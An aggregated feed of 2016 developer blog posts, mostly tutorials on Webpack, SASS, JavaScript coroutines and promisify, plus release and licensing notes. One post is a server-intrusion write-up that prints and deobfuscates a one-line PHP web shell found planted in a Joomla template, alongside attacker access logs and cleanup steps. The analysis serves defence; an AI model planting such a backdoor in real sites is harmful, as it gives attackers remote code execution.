FutureNet: Model-Driven Automation

rob.sh — Thu, 01 Sep 2016 20:40:00 GMT

Anees Shaikh and I presented at future:net talking about automation work that we’ve been doing in OpenConfig, and I shared some of the NMS implementation I’ve been working on recently. Slides are linked below.

Cerberus 1.0 has been released

Nicola Iarocci — Thu, 01 Sep 2016 03:00:00 GMT

After a one year long development cycle I am proud to announce that version 1.0 of Cerberus, the data validation and transformation tool for Python, is finally out. A while ago I wrote an article on the new features and breaking changes that come with it, so please check it out carefully along with the changelog.

I just wish to reiterate my gratitude towards all the contributors to the project. The ones who specifically worked on this awesome release, those who made it all possible, are: Matthew Ellison, Dominik Kellner, David Kirkendall, Damián Nohales, calve, Jonathan Huot, Roman Redkovich and of course the one and the only Frank Sachsenheim, whose role was pivotal to this release.

2016-09-01

ho.dges.online — Thu, 01 Sep 2016 03:00:00 GMT

Links - August 30th, 2016

Avy Faingezicht — Tue, 30 Aug 2016 03:00:00 GMT

SASS random() and circle animation

Muffin Man — Tue, 30 Aug 2016 03:00:00 GMT

I decided to move my CSS playground to the CodePen, and this is the first one I made.

Idea came to me while I was riding on a bus, and I might use it on this blog, as a part of it's redesign.

This is CSS only animation (I used JS to create 50 elements though). And you can see the usage of SASS random() function.

random() will return random integer between 1 and n, where n is the number you pass to it. Default param is 100.

Note that random does not return 0.

To get different random ranges just add or subtract your base.

This will return number between 11 and 20.

$random-number: random(10) + 10;

Same thing with negative numbers, this one covers the range between -10 and 10.

$random-number: random(21) - 11;

Something to have in mind, new random numbers will be generated on every SASS compilation. But once generated, CSS will stay static, until the next compilation.

Live dmesg following

The Technical Blog of James on purpleidea.com — Mon, 29 Aug 2016 12:00:39 GMT

All good sysadmins eventually learn about using tail -F to tail files. Yes upper-case F is superior.

Around the time I wrote that article, I remember wanting to stream dmesg output too! The functionality wasn’t available without some sort of polling hack, but it turns out that kernel support for this actually landed around the same time in version 3.5.0!

Most GNU/Linux distros are probably running a new enough version by now, and you can now dmesg –follow (or dmesg -w):

GPL Time-bomb an interesting approach to #FOSS licensing

Ben E. C. Boyter — Mon, 29 Aug 2016 04:47:39 GMT

UPDATES Following some feedback I am going to rename my usage of “Time-Bomb” due to potential negative connotation on the words. I am going to call it “Eventually Open”. Also a few other things need mentioning. I am not looking for code submissions back into the source at this time. This was a move to show that there are no back-doors in the code sending source code back to a master server.

Setting up Webpack, Babel and React from scratch - Part 2

Muffin Man — Mon, 29 Aug 2016 03:00:00 GMT

Part two #

Update: Part two is pretty much done. Part three will cover redux and production builds.

Other parts:

Part 1 - Webpack, Babel, React, Router, ESLint
Part 2 - SASS, More ES6 goodness (Static props, decorators, deconstruction...)
Part 3 - Where to go from here

Adding SASS #

We will use SASS loader for webpack, so let's install it together with node-sass compiler, css and style loaders

npm install --save-dev style-loader css-loader sass-loader node-sass

Create scss folder in the app folder, and main app.scss file in it. This file will include all of the other scss files.

Now we need to add a loader to webpack config file.

...
{
  test: /\.scss$/,
  loader: 'style!css!sass'
}
...

This will handle importing SCSS files in our JavaScript code. So we need to import app.scss manually in the JavaScript code. You'll need to add only one line to your app.js.

import '../scss/app.scss';

This includes your styles by calling loaders we defined in the webpack config.

Restart your webpack, and voala, now we have styles and hot reloading for them. Try changing your styles to check it.

Source maps #

To enable source maps, we'll pass the sourceMap option to the sass and the css loaders. Enable devtool, and update the loader

...
  devtool: 'inline-source-map', // or 'source-map'

  module: {
    loaders: [
      ...
      {
        test: /\.scss$/,
        loader: 'style!css?sourceMap!sass?sourceMap',
      }
    ]
  }
...

If you want to read more, here's link to the official documentation

Autoprefixer #

Always use autoprefixer - I can't stress this enough.

We'll need postcss loader, precss and autoprefixer

npm install --save-dev postcss-loader precss autoprefixer

At the top of our webpack config, require precss and autoprefixer

const precss = require('precss');
const autoprefixer = require('autoprefixer');

Update our sass loader config and and postcss config

...
  module: {
    loaders: [
      ...
      {
        test: /\.scss$/,
        loader: 'style!css?sourceMap!postcss!sass?sourceMap',
      }
    ]
  },

  postcss() {
    return [autoprefixer, precss];
  },
...

Restart webpack, and you should have autoprefixing in place. Try adding display: flex to one of the elements to check if autoprefixer added -ms-display: flex and -webkit-display: flex.

Again here's link to the official documentation

Method shorthand #

Note that

{
  ...
  postcss() {
    return [autoprefixer, precss];
  }
}

is the same as

{
  ...
  postcss: function () {
    return [autoprefixer, precss];
  }
}

but only using method shorthand. ES6 rules!

More ES6 stuff #

To be able to use deconstruction (...object), static class properties and decorators (@connect) we need to add a couple of Babel plugins.

Install them using following command

npm i --save-dev babel-plugin-syntax-decorators babel-plugin-transform-class-properties babel-plugin-transform-decorators-legacy babel-preset-stage-0

Few links to read more about this plugins:

Synthax only for decorators
Decorators plugin - We are using a 3rd party plugin as "Decorators are disabled in Babel v6, pending a proposal update". Read more on the first link.
Static properties
Stage 0 (plugin group)

Now we need to add it to our Babel configuration. Open your .babelrc file and add them.

Add these to the "plugins" array

"syntax-decorators" "transform-decorators-legacy" "transform-class-properties"

And "stage-0" to the "presets" array

Your .babelrc should be looking something like this

{
  "plugins": [
    "syntax-decorators",
    "transform-decorators-legacy",
    "transform-class-properties"
  ],
  "presets": [
    "es2015",
    "react",
    "stage-0"
  ]
}

Romeo & Juliet Balcony Scene

Anardil — Sun, 28 Aug 2016 10:00:00 GMT

Juliet:

Like, oh my gosh!

Romeo:

She spoke dude!
Oh, please like speak again, wondrous angel, because you are
As gnarly as this night, being like, over my head,
You're like a totally winged messenger from God or something,
Who like everyone looks at, with their way wandering eyes
Like …

Belt thing

TOGoS's Project Log — Sat, 27 Aug 2016 21:13:37 GMT

Hacked: Investigating an Intrusion on my Server

The Dark Side — Sat, 27 Aug 2016 13:08:36 GMT

tl;dr I have received a nice “your server is sending spam” email on a Saturday morning, this is what happened next.

As a foreword, this server is not holding critical information and his mostly used to host static content and maintain former projects.

Basically this is what happens when you leave upgrade undone on your server, which conflicts with the idea, that I don’t want to think every month about upgrading every Joomla! and every WordPress I have ever abandoned somewhere.

The point of this article narrative is to give some insights about what might happen and how to deal with it, that’s perhaps the point to mention that I am not a security professional.

Understanding

The email

After a night of partying, I have had the pleasure to receive a pleasant email this saturday. OVH telling me that my server is a source of spam, among others it mentions a few details about the culprit emails:

Destination IP: 63.250.192.45 - Message-ID: 0ec13ab550923208952a9e7152792cfb@www.kenagard.com - Spam score: 500

KenaGard is my former company, KenaGard’s website is still available, even though the company is not active anymore and it’s using Joomla!

An old Joomla! plus the name of the company in the emails, made me try the “something went wrong with Joomla!” hypothesis first.

Something went wrong with Joomla!

Let’s dive in the website directory and check if some unexpected new file are around (my biggest strength here is to know that everything after a certain modification date is suspicious):

find $1 -type f -exec stat --format '%Y :%y %n' "{}" \; | grep -v cache |sort -nr | cut -d: -f2- | head

2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/jtemplate.xml
2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/jtemplate.php
2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/index.html
2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/.htaccess
2016-02-29 06:59:36.000000000 +0100 ./modules/mod_stats/jstats.php
2016-02-25 01:52:13.000000000 +0100 ./images/mbaig/index.php
2016-02-25 01:52:13.000000000 +0100 ./images/mbaig/.htaccess
2016-02-25 01:52:13.000000000 +0100 ./images/mbaig/emkwg.php
2015-01-04 15:14:21.373264602 +0100 ./modules/mod_mainmenu/helper.php
2015-01-04 14:50:23.445264771 +0100 ./modules/mod_mainmenu/tmpl/default.php

The two last lines are legitimate edits I did, so it seems that my server is closer to swiss cheese that to anything else.

Three intrusions took places on 2016-02-25, 2016-02-29 and 2016-08-21 (looking at the files it leaves no doubt, I haven’t touched this code since a few years).

Diving in the last intrusion and injected code

The last one contains a short jtemplate.php:

<?php
$ohx=chr(97)."s".chr(115).chr(101)."\x72"."t";$twu="b".chr(97)."\x73"."\x65"."6".chr(52)."\x5f"."d".chr(101)."c"."\x6f"."d"."\x65";$ye="s"."t"."\x72"."\x5f"."r"."\x6f"."t"."1".chr(51);@$ohx(@$twu(@$ye($_POST[chr(100)."a"."\x74"."\x61"])));die();

Basically this is obfuscated PHP code, it is not very explicit … but you can fix the readability.

Manually or, dramatically, easing your work with a service like UnPHP, if you put the above code, it doesn’t get perfect, the chr() calls are not replaced, but it is better.

A bit of clean up and you can get:

<?php

// assert
$ohx=chr(97)."s".chr(115).chr(101)."\x72"."t";

// base64_decode
$twu="b".chr(97)."\x73"."\x65"."6".chr(52)."\x5f"."d".chr(101)."c"."\x6f"."d"."\x65";

// str_rot13
$ye="s"."t"."\x72"."\x5f"."r"."\x6f"."t"."1".chr(51);

// data
$key = chr(100)."a"."\x74"."\x61";

var_dump($ohx, $twu, $ye, $key);

In clear, the given code does this:

<?php
assert(bas64_encode(str_rot13($_POST['data'])));

The usage of base64 and str_rot13 are just here to scramble whatever data arrives. Like the PHP obfuscation, I guess this is suppose to deceive some security systems and human analysis.

Arbitrary shell commands

At first, I was “WTF, assert is only suppose to raise an error if something is false”. I got it all wrong, someone thought it was wiser to evaluate any string passed as an argument.

So assert is evaluating anything coming from the outside, PHP code or any shell command…

This code is just a tool waiting for any payload the attacker wants to send.

How deep the intrusion is

At this point, the last remaining system protection is the fact that the files are only executed with the system user running the php code, in my case www-data.

For some reason, I have tried very hard to install a software and enter into some apt-pinning tricks, now updating the system ranges from “challenging” to “impossible”… Even though this server doesn’t have much custom configuration this makes a right escalation likely. I have searched but have not been able to find any trace of such, I was basically investigating looking at suspicious elements by modification date (though I guess this can be easily faked) or using ps aux.

So the whole server is not mine, or … I am not really sure it answers to its master.

The three others intrusions are doing similar kind of things…

I have found a fourth one, this time inside WordPress, it was a bit harder though to understand what is is exactly doing, but it seems that it is following a very similar approach.

Digging a bit more, I found others in every existing website folders that was on that server… Usually named: logo_img.php, images/mbaig/emkwg.php, dir32.php or .htaccess.

One of the file was not only executing remote code but also sending some informations to 4lmbkpqrklqv.net a domain own by a Ukrainian resident named Nikolay Pohomov… That does not help me much…

Trying to fix this situation

I am not a security expert but at that level my opinion would be: “burn the damn machine”, nothing is sure anymore then. The system is compromised the plague won… Upgrade your Joomla! and WordPress, reformat, reinstall…

I don’t really have time for that, so I tried a few coward countermeasures.

Stopping the spam

ps aux exposes a long list of running sendmail processes. Let’s kill them:

ps aux|grep -v grep|grep sendmail|awk {print $2} | xargs kill -9

And let’s also empty the mail queue (this is only safe since I know there is no legitimate emails inside):

rm /var/spool/mqueue/*

Blocking POST on the sites using some CMS systems

Reasons:

Those legacy contents are not updated anymore, it won’t break my use case.
My bet is that most of the exploits those guys are using and their preferred way of sending payload are not using the “GET” method.

In an nginx site configuration, this is simply done like this:

add_header Allow "GET, HEAD";
if ( $request_method !~ ^(GET|HEAD)$ ) {
        return 405;
}

Don’t forget to service nginx reload after all that.

This is making the attackers work harder, but it definitely doesn’t prevent anything for sure.

Removing the hackers entry points

You don’t want to keep the hackers tools inside, and the POST method blocking has not blocked all code (some where also using whatever was stored in the cookies).

The biggest problem here is that I am not sure that I have fully removed everything. The whole system could have been corrupted.

More information

Trying to find out more

Grepping who has used jtemplate in the logs I get lines like:

185.93.187.66 - - [26/Aug/2016:08:48:18 +0200] “POST /templates/jtemplate/jtemplate.php HTTP/1.1” 200 6667 “http://kenagard.com/templates/jtemplate/jtemplate.php” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36”

185.93.187.66 is a Ukrainian based IP, Nikolay, is that you? I hope someone is using your name otherwise you should pay more attention to discretion.

Moving a bit in history, I have been looking for the first call to jtemplate.php to find this:

93.187.66 - - [21/Aug/2016:05:50:00 +0200] "GET /administrator/ HTTP/1.1" 200 4343 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)     Chrome/48.0.2564.116 Safari/537.36"
93.187.66 - - [21/Aug/2016:05:50:00 +0200] "GET /administrator/ HTTP/1.1" 200 4343 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)     Chrome/48.0.2564.116 Safari/537.36"
93.187.66 - - [21/Aug/2016:05:50:00 +0200] "GET /administrator/ HTTP/1.1" 200 21137 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)    Chrome/48.0.2564.116 Safari/537.36"
93.187.66 - - [21/Aug/2016:05:50:01 +0200] "GET /administrator/?option=com_config HTTP/1.1" 200 50654 "http://kenagard.com/administrator/?option=com_config" "Mozilla/5.0 (Windows NT 6.1; WOW64)       AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
93.187.66 - - [21/Aug/2016:05:50:01 +0200] "GET /administrator/?option=com_admin&task=sysinfo HTTP/1.1" 200 72460 "http://kenagard.com/administrator/?option=com_admin&task=sysinfo" "Mozilla/5.0       (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
93.187.66 - - [21/Aug/2016:05:50:02 +0200] "GET /administrator/?option=com_installer HTTP/1.1" 200 15682 "http://kenagard.com/administrator/?option=com_installer" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
93.187.66 - - [21/Aug/2016:05:50:02 +0200] "POST /administrator/ HTTP/1.1" 200 15948 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)   Chrome/48.0.2564.116 Safari/537.36"
93.187.66 - - [21/Aug/2016:05:50:03 +0200] "POST /templates/jtemplate/jtemplate.php HTTP/1.1" 200 20 "http://kenagard.com/templates/jtemplate/jtemplate.php" "Mozilla/5.0 (Windows NT 6.1; WOW64)       AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"

No POST seems to have been part of setting up the file from this IP.

A few minute before this IP was involved, it seems, that someone got a shared interest in similar resources:

209.90.194 - - [21/Aug/2016:05:47:47 +0200] "GET /administrator HTTP/1.1" 301 184 "https://search.yahoo.com/search=www.kenagard.com?p=www.kenagard.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0)    Gecko/20120101 Firefox/29.0"
209.90.194 - - [21/Aug/2016:05:47:48 +0200] "GET /administrator/ HTTP/1.1" 200 1804 "https://search.yahoo.com/search=www.kenagard.com?p=www.kenagard.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0)  Gecko/20120101 Firefox/29.0"
209.90.194 - - [21/Aug/2016:05:47:50 +0200] "POST /administrator/index.php HTTP/1.1" 200 1892 "https://search.yahoo.com/search=www.kenagard.com?p=www.kenagard.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0"

This time, an IP belonging to Amazon, I guess some AWS servers.

I did not really figured out how this happened. There is no other request that could explain how this jtemplate thing first appeared. I have decided to blocked both /administrator (Joomla!) and /wp-admin (WordPress).

location ^~ /wp-admin/ {
    return 404;
}

location ^~ /administrator/ {
    return 404;
}

Like before don’t forget to service nginx reload after all that.

Conclusion: Docker maybe

The only thing that comes to m(y mind about how to not maintain very old infrastructure (upgrading and related maintenance) and avoiding too dangerous attacks is would be to keep things separated and perhaps Docker it a good way to do so through containerization.

Maybe some proactivity would also have enabled me to get aware of the problem before OVH had to send me an email.

EDIT: a quick synthesis about the comments this article has received.

Again, don’t do this at home, your server is compromised, the cure to this disease is to reinstall your server. To that point, many people suggest to automate your server provisioning before hand.
Some malware detection tools have been mentioned: Linux Malware Detects and a script from Peeter Marvet from zone.ee, mostly listing recently updated files. The first one is currently scanning my whole server for the things I have missed.
Enable a firewall to only allow ports that the server is supposed to use.

More comments on Hacker News and Reddit.

Test-Defective

The Cranky Developer on Crater Moon Development — Sat, 27 Aug 2016 03:00:00 GMT

If you have automated tests, believe them or discard them.

2016-08-27/01

ho.dges.online — Sat, 27 Aug 2016 03:00:00 GMT

2016-08-27/02

ho.dges.online — Sat, 27 Aug 2016 03:00:00 GMT

IPv6 over WebSocket

TOGoS's Project Log — Fri, 26 Aug 2016 21:13:37 GMT

Laziness is unconscious incompetence

Yasha Solutions — Fri, 26 Aug 2016 03:00:00 GMT

I stumbled upon this video the other day. Some ex navy seal guy, they do army-style training programs for people who like to get their butt kicked. But also, they happen to have very good content on psychology of motivation (which actually make sense given what they do as a job.) The following video is about the reasons behind lack of motivation, lazy-style, I’ll do it tomorrow approach. TL;DW: Lazy is incompetence-driven.

From Javascript Callbacks to Promises to Generators and Coroutines

CS Crunch — Thu, 25 Aug 2016 08:22:35 GMT

JavaScript has always been a powerful language, but it is not always pretty to look at. ES6 has also greatly improved the syntax of the language, and although it's not perfect, it's not that bad, either. Some of JavaScript's limitations are also its strengths, which is what we will see when we examine the JavaScript coroutine pattern.

Javascript is single-threaded. It is also event-driven, so that many of its functions use a callback pattern. Unfortunately, the callback pattern is ugly and cumbersome in code. Promises improved the callback pattern slightly, but it is still not as clean as it could be. The generator pattern is the latest incarnation of data-flow syntax. To get an intuitive feel for the differences between the different approaches, look at the following code examples:

The callback method:

fs.readFile('filename.txt', 'utf8', function(err, data) {
  if (err) {
    // Something failed.
  }
  else {
    // Do something with 'data'.
  }
});

We can turn the "callback" version of fs.readFile() into a Promise-based version using the promisify() function from my previous blog post.

let readFile = promisify(fs.readFile);
readFile('filename.txt', 'utf8')
  .then(data => {
    // Do something with 'data'.
  })
  .catch(err => {
    // Something failed.
  });

Before we look at the coroutine version of this code, consider the synchronous function approach using fs.readFileSync():

try {
  let data = fs.readFileSync('filename.txt', 'utf8');
  // Do something with 'data'.
}
catch (e) {
  // Something failed.
}

This version is perhaps the cleanest version yet, but it does have an important drawback: It is synchronous. That means that all code execution stops and waits until the synchronous call completes before moving on. While it makes for some clean code, it is also inefficient. In all of the other examples, code from other events are able to run while the file I/O is performed, then the code execution resumes (either the callback is executed or the .then() of the Promise) once the I/O is finished. In other words, the synchronous code comes at the cost of wasted time.

Look at the coroutine approach, which uses a coroutine() function (which we will write over the course of this post) and the promisify() function (mentioned earlier) to turn the generator into a beautiful, simple, data-flow syntax.

let readFile = promisify(fs.readFile);
coroutine(function* (){
  let data = yield readFile('filename.txt', 'utf8');
  if (data instanceof Error) {
    // Something failed.
  }
  else {
    // Do something with 'data'.
  }
})();

The coroutine example is now the most beautiful and straightforward example. It is even easier to read than the synchronous example, due to the lack of the try..catch block. It reads naturally and is easy to follow. Some complicated logic flows would be difficult or impossible to write using callbacks or Promises, but coroutines remove all of the clumsy syntax and leave a syntax that is as easy to use as standard synchronous programming. In fact, the only odd parts about it are the asterisk (*) in the function identifier and the yield keyword.

Generators

The first part of writing a coroutine() function is to understand what a JavaScript generator is. Many people have already written good descriptions about how they work, so I'm not going to go into great detail about them. I will give a bit of surface knowledge, though.

A generator function is denoted by an asterisk after the function keyword. Take the following generator example:

function* plusTwo(i) {
  while(1) {
    yield i;
    i += 2;
  }
}

When executed, plusTwo() accepts a starting value (i) and returns a generator instance. It should be noted that plusTwo() can be executed many times, each time returning a different generator instance.

let counter1 = plusTwo(1);
let counter2 = plusTwo(1337);

For each of these generator instances, we can repeatedly call .next(), which returns an object that tells us two things: whether or not the generator has completed, and what value the generator is putting out at this time.

But what value does the generator give? That depends on what is to the right of the yield keyword. In our plusTwo() example, i is to the right of yield, and it is incremented by 2 every time the loop executes. Look at how the value increases as i increases and is repeatedly yielded.

counter1.next().value; // 1
counter1.next().value; // 3
counter1.next().value; // 5
counter2.next().value; // 1337
counter2.next().value; // 1339
counter1.next().value; // 7

Realize what just happened: The code in the generator function ceased execution until .next() was called.

But generators have one more little trick. If you can get a value out of a generator by putting something on the right side of the yield keyword, you can pass something back into the generator by providing an argument to the .next() function call, and that argument will be given to whatever is to the left of the yield.

Let me say this another way, perhaps with an example using Promises:

let readFile = promisify(fs.readFile);
function* exampleGenerator() {
  let result = yield readFile('filename.txt', 'utf8');
}

In this example, readFile() returns a promise, which is given to the yield. Suppose now that, once the promise is resolved, we call the .next() function, but pass in the result of the promise. Such a solution might look like this:

let readFile = promisify(fs.readFile);
function* exampleGenerator() {
  let result = yield readFile('filename.txt', 'utf8');
}
let gen = exampleGenerator();
gen.next().value.then(data => gen.next(data));

This is the important paradigm shift! Many programmers think of generators as something that their main program uses to create a sequence. In this example, though, the "main program" was inside the generator, and the outside code served as a driver to take the Promise returned by the generator, wait for it to resolve, and then pass the data back into the generator.

Look at the last line of code again. gen.next().value is a Promise, because that is what what returned by the function to the right of the yield. When the Promise is fulfilled, the .then() callback is executed, which in turn feeds the result back into the generator.

"But this only works for one Promise!" you say. You are right. We should be able to create a function, though, that can take any generator and "wrap" it so that it continues this asynchronous resolution continuously, until the generator terminates.

That is exactly the purpose of the coroutine function. So let's build it!

Building a Coroutine function

The shell of our coroutine() function will take a generator as an argument and return a function that can be executed at a later time. When the function is executed, it should pass its arguments into the generator function.

function coroutine(fn) {
  return function() {
    let gen = fn(...arguments);
  }
}

It is important to keep straight what the different parts are. fn is a generator function that is provided to coroutine(). coroutine() returns an anonymous function that can be executed later. When it is executed, fn (the generator) is called with the initialization arguments, and a reference to the initialized generator (gen) is stored. Now, we just need call gen.next() over and over, resolving asynchronous code and passing it to the next gen.next(). We will do this with a local function. Dealing with Promises is a bit cumbersome, however, so let's start with something easier.

function coroutine(fn) {
  return function() {
    let gen = fn(...arguments);
    next();
    function next(result) {
      let yielded = gen.next(result);
      if (!yielded.done) {
        next(yielded.value);
      }
    }
  }
}
 
coroutine(function* simpleYieldValue() {
  let x = yield 3;
})();

Look at the yield in simpleYieldValue(). The value 3 is yielded, which is returned to the coroutine() function. This value is then passed to next(), which is fed back into gen.next(). It is important that you take the time to understand this exectuion flow. Don't continue reading until you have a firm grasp on how this code works.

There is only one more type of value that our coroutine() function needs to work with. It currently only handles synchronous values. What if the value given to yield, though, is a Promise? The answer is actually quite elegant.

function coroutine(fn) {
  return function() {
    let gen = fn(...arguments);
    next();
    function next(result) {
      let yielded = gen.next(result);
      if (!yielded.done) {
        if (yielded.value instanceof Promise) {
          yielded.value
            .then(function(data) {
              next(data);
            },
            function(err) {
              next(err);
            });
        }
        else {
          next(yielded.value);
        }
      }
    }
  }
}

In this most recent incarnation, if yielded.value is a Promise, then all that we need to do is to add a .then() to the yielded.value, and provide success and error handlers, each of which simply call next() again and pass on the value. Here I have made a decision to pass the error value back to the generator in the same way that a success value would be passed back, a method which I prefer over try..catch blocks.

There is one last improvement to make. I would like for the return value of coroutine() (which is a function), when executed, to return a Promise itself. There is a two-fold benefit to this. First of all, it would allow you to run code after the coroutine has finished via .then(). Secondly, it would allow a coroutine to be yielded, and therefore nested one inside another. The change to the code isn't that difficult, either.

function coroutine(fn) {
  return function() {
    let gen = fn(...arguments);
    return new Promise(function(accept, reject) {
      next();
      function next(result) {
        let yielded = gen.next(result);
        if (!yielded.done) {
          if (yielded.value instanceof Promise) {
            yielded.value
              .then(function(data) {
                next(data);
              },
              function(err) {
                next(err);
              });
          }
          else {
            next(yielded.value);
          }
        }
        else {
          if (yielded.value instanceof Error) {
            reject(yielded.value);
          }
          else {
            accept(yielded.value);
          }
        }
      }
    });
  }
}

The version of the code that we just wrote will do everything that we need, but it's a bit verbose for my taste. Because we are using ES6, we can reduce the amount of boilerplate code thanks to the arrow function syntax:

function coroutine(fn) {
  return function() {
    let gen = fn(...arguments);
    return new Promise((accept, reject) => {
      next();
      function next(result) {
        let yielded = gen.next(result);
        if (!yielded.done) {
          if (yielded.value instanceof Promise) {
            yielded.value.then(data => next(data), err => next(err));
          }
          else {
            next(yielded.value);
          }
        }
        else {
          if (yielded.value instanceof Error) {
            reject(yielded.value);
          }
          else {
            accept(yielded.value);
          }
        }
      }
    });
  }
}

A ternary operator (one of my favorite code syntax tools) further condenses and tidies the code:

function coroutine(fn) {
  return function() {
    let gen = fn(...arguments);
    return new Promise((accept, reject) => {
      next();
      function next(result) {
        let yielded = gen.next(result);
        if (!yielded.done) {
          yielded.value instanceof Promise ? yielded.value.then(data => next(data), err => next(err)) : next(yielded.value)
        }
        else {
          yielded.value instanceof Error ? reject(yielded.value): accept(yielded.value);
        }
      }
    });
  }
}

Better yet is a nested ternary.

/**
 * Convert a generator into a coroutine.
 **/
function coroutine(fn) {
  return function() {
    let gen = fn(...arguments);
    return new Promise((accept, reject) => {
      next();
      function next(result) {
        let yielded = gen.next(result);
        !yielded.done ?
          (yielded.value instanceof Promise ? yielded.value.then(data => next(data), err => next(err)) : next(yielded.value)) :
          (yielded.value instanceof Error ? reject(yielded.value): accept(yielded.value));
      }
    });
  }
}
 
 
/**
 * Example usage.
 **/
// Convert a callback function to a promise function.
let readFile = promisify(fs.readFile);
 
// Convert a generator into a coroutine.
let program = coroutine(function* (filename){
  let data = yield readFile(filename, 'utf8');
  if (data instanceof Error) {
    // Something failed.
  }
  else {
    // Do something with 'data'.
  }
});
// Kick of the coroutine and pass in a filename.
program('filename.txt');

I provided an example generator that takes the filename as an argument, which you can see is but a trivial addition. It is important to remember that the yield keyword only works with a single value at a time, and that the value must either be a value of some sort or a Promise. It does not work with callback-based functions. As shown in the example above, however, it is also quite easy to use a promisify() function (provided elsewhere in this blog) to convert callback functions into a Promise, meaning that just about every library can now be used in a coroutine.

The Linux operating system turns 25 years old today

Jason Eckert's Website and Blog — Thu, 25 Aug 2016 03:00:00 GMT

Today marks the 25th anniversary of the Linux operating system!

More specifically, it marks the day that Linus Torvalds announced his new operating system (that was later called Linux) in a newsgroup post:

From:torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds)
Newsgroup: comp.os.minix
Subject: What would you like to see most in minix?
Summary: small poll for my new operating system
Message-ID: 1991Aug25, 20578.9541@klaava.Helsinki.FI
Date: 25 Aug 91 20:57:08 GMT
Organization: University of Helsinki.

Hello everybody out there using minix-

I'm doing a (free) operating system (just a hobby, won't be big
and professional like gnu) for 386(486) AT clones. This has
been brewing since april, and is starting to get ready. I'd like
any feedback on things people like/dislike in minix; as my OS
resembles it somewhat (same physical layout of the file-system
due to practical reasons)among other things.

I've currently ported bash (1.08) an gcc (1.40), and things seem to work.
This implies that i'll get something practical within a few months, and I'd
like to know what features most people want. Any suggestions are welcome,
but I won't promise I'll implement them :-)

Linus Torvalds torvalds@kruuna.helsinki.fi

So what is Linux?

Linux is a free and open source operating system that runs on millions of computers and devices today. But in order to understand what that means, let’s start by looking at how Linux came to be…

searchcode server under fair source

Ben E. C. Boyter — Thu, 25 Aug 2016 02:38:33 GMT

A very quick blog today. I have released searchcode server under the fair source licence. This means that as of a few days ago you can view the source, change it modify it and run it as you see fit so long as you have less than 5 users.

The source is hosted on github (I may move this to GitLab sometime in the future) and you can view it here.

So what does this mean? Well the community edition still exists (run searchcode with as many users as you want) as do the paid versions with support and all the full features. The real advantage however is that you can now vet the source code to ensure that searchcode server is not secretly sending your most valuable asset to some hidden server somewhere. In addition it means I can now talk about the source openly and will be writing some posts about how I ran into some CPU branching issues which slowed down some code.

Promisify A Callback Function Without 3rd Party Libraries

CS Crunch — Thu, 25 Aug 2016 01:05:17 GMT

I was recently working on some code in which I wanted to use Promises, but all that I had was callback-centric code. In the past, I have imported libraries such as bluebird for this particular problem, but now that seems like a bit of overkill to get just one function. I'm already using ES6, so I don't need a polyfill in order to use Promises; all that I want is a simple promisify() function. Importing an entire library for one function is, IMO, wasteful. Besides, it's more fun to write (and therefore understand at a deeper level) your own implementation, so that's what I did.

If you don't care about why this code works, then you can see it in its completed form below. If you are actually curious as to how I came up with it, then read on and I will explain it to you. The finished code is as follows:

/**
 * Convert a callback-based function into a promise.
 **/
function promisify(fn) {
  return function() {
    let args = Array.from(arguments);
    return new Promise((resolve, reject) => fn(...args, (error, content) => error ? reject(error) : resolve(content)));
  };
}

First of all, we should describe the coding situation. In Node.js (and many related JavaScript libraries), most callback functions use the same form, as shown below with our fictional foo() function:

function foo([arg1, arg2, arg3,] callback);

The callback() function will be called when the foo() function is finished. What we want, rather, is to be able to use this function as though it were a Promise.

let bar = promisify(foo);
bar(arg1, arg2, arg3).then(callback);
bar(differentArg1, differentArg2, differentArg3).then(differentCallback);

By defining how we expect to use promisify() and bar(), we can infer the internal structure of the promisify() function. Notice that bar is a function, so promisify() must return a function. Here is the skeleton:

function promisify(fn) {
  return function bar() {};
}

Here we run into our first snag. When bar() is called, we need to pass its arguments into fn (the function that we originally called promisify() on).

function promisify(fn) {
  return function bar() {
    fn.apply(undefined, arguments);
  };
}

This will not work, however, because fn expects the last element in the array to be a callback. Let's add a dummy callback function and include it in the .apply() function arguments array.

function promisify(fn) {
  return function bar() {
    let args = Array.from(arguments);
    args.push(function callback(err, data) {});
    fn.apply(undefined, args);
  };
}

Notice that we are not returning anything, however, from bar(), and this is incorrect according to our use case. bar() should return a Promise!

function promisify(fn) {
  return function bar() {
    let args = Array.from(arguments);
    args.push(function callback(err, data) {});
    fn.apply(undefined, args);
    return new Promise(function(resolve, reject) {});
  };
}

Now bar() returns a Promise, but we want to be able to put the callback into the .then() of the Promise returned by bar(). We can do this by moving the fn.apply() call inside the Promise code. We still need our generic callback() function, but now we need it to call either the reject() or resolve() function based on the values in the err and data variables, respectively.

/**
 * Convert a callback-based function into a promise.
 * Verbose version!
 **/
function promisify(fn) {
  return function bar() {
    let args = Array.from(arguments);
    return new Promise(function(resolve, reject) {
      args.push(function callback(err, data) {
        if (err) {
          reject(err);
        }
        else {
          resolve(data);
        }
      });
      fn.apply(undefined, args);
    });
  };
}

